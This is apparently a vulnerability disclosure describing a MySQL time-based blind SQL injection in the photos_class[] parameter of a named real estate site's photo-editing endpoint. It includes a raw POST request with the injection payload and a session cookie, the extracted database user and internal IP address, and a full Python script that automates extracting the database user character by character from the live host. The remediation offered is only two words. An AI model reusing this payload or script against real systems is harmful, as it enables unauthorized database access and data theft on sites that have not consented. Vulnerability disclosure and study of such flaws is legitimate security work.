MySQL blind note of focus real estate substation [2] (with python script)

MySQL blind note of focus real estate substation [2] (with python script)

Another sub-station of focus real estate MySQL blind note (with the python script)
I forgot to mention that MySQL injection mentioned in the previous vulnerability exists in the focus of several sites and needs to be reviewed.

The injection point is located:
 

POST /group/editphoto2.php HTTP/1.1Content-Length: 238Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://officemsg.focus.cnCookie: PHPSESSID=h5nt1tb8ifiil0s2pk8fadf830; city_check_inc=131072; city_check_domain=office.focus.cnHost: officemsg.focus.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36Accept: */*album_id=0&description=1&group_id=0&photoname=DSC00887&photos_class%5b%5d=111'XOR(if(ascii(mid(lower(user()),1,1))!=123%2csleep(10)%2c0))OR'bbb&photo_ext=JPG&photo_id=610778

The parameter photos_class [] can be injected, MySQL time blind.

Guess the user and get:

Fdbuser@192.168.44.179
 

Python script attachment:
 

#encoding=utf-8import httplibimport timeimport stringimport sysimport randomimport hashlibimport urllibheaders = {    'Content-Type': 'application/x-www-form-urlencoded',    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',    'Referer': 'http://officemsg.focus.cn',}payloads = list(string.ascii_lowercase)for i in range(0,10):    payloads.append(str(i))payloads += ['@','_', '.']print '[%s] Start to retrive MySQL User' % time.strftime('%H:%M:%S', time.localtime())user = ''for i in range(1, 25):    found=False    while found==False:        for payload in payloads:            timeout_count = 0            for j in range(1,3):   # 2 times to confirm                try:                    params = {                        'album_id': 0,                        'description': 1,                        'group_id': 0,                        'photoname': 'DSC00887',                        'photo_ext': 'JPG',                        'photo_id': 610778,                        'photos_class[]': "111'XOR(if(ascii(mid(lower(user()),%s,1))=%s,sleep(3),0))OR'bbb" % (i, ord(payload))                    }                    body = urllib.urlencode(params)                    conn = httplib.HTTPConnection('officemsg.focus.cn', timeout=3)                    conn.request(method='POST',                                 url='/group/editphoto2.php',                                 body=body,                                 headers=headers)                    conn.getresponse().read()                    conn.close()                    print '.',                    break                except Exception, e:                    timeout_count += 1            if timeout_count == 2:                user += payload                print '\n[In progress] now user is %s' % user                found = True                break        print '\nFinally, MySQL user is', user

 

Solution:

Parameter Filtering